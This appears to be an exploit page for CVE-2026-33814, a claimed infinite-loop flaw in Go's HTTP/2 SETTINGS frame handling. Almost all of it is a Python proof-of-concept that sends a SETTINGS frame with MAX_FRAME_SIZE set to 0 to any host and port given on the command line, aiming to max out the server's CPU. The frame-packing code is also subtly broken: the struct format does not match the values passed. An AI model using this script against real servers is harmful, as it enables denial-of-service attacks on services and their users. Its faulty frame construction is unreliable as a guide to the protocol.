Go HTTP/2 SETTINGS帧处理无限循环漏洞（CVE-2026-33814）

#!/usr/bin/env python3 """ PoC for CVE-2026-33814 (Go HTTP/2 Infinite Loop) This script sends a malicious SETTINGS frame with SETTINGS_MAX_FRAME_SIZE set to 0. Target must support HTTP/2 (e.g., a Go web server). """ import socket import struct def send_exploit(target_host, target_port): # HTTP/2 Connection Preface preface = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n' # SETTINGS Frame Format: # Length (3 bytes) | Type (1 byte) | Flags (1 byte) | Stream Identifier (4 bytes) | Payload # Type: 4 (SETTINGS) # Flags: 0 (None) # Stream ID: 0 # Payload: Identifier (2 bytes) | Value (4 bytes) # Identifier: 5 (SETTINGS_MAX_FRAME_SIZE) # Value: 0 (Malicious value) payload_id = 5 # SETTINGS_MAX_FRAME_SIZE payload_value = 0 # Construct Payload payload = struct.pack('>HL', payload_id, payload_value) # Construct Frame Header frame_type = 4 flags = 0 stream_id = 0 length = len(payload) # Pack header: Length (3 bytes, big-endian shifted), Type, Flags, Stream ID frame_header = struct.pack('>HBBBL', length, frame_type, flags, stream_id) settings_frame = frame_header + payload try: print(f"[+] Connecting to {target_host}:{target_port}...") with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(5) s.connect((target_host, target_port)) # Upgrade connection or assume HTTP/2 direct (h2c) # For simplicity, this sends raw frames. If using HTTPS, use an ALPN tunnel. print("[+] Sending HTTP/2 Preface...") s.sendall(preface) print("[+] Sending Malicious SETTINGS Frame (MAX_FRAME_SIZE=0)...") s.sendall(settings_frame) print("[+] Exploit sent. Check server CPU usage.") # Keep connection open to maintain state if needed # s.recv(1024) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <host> <port>") sys.exit(1) send_exploit(sys.argv[1], int(sys.argv[2]))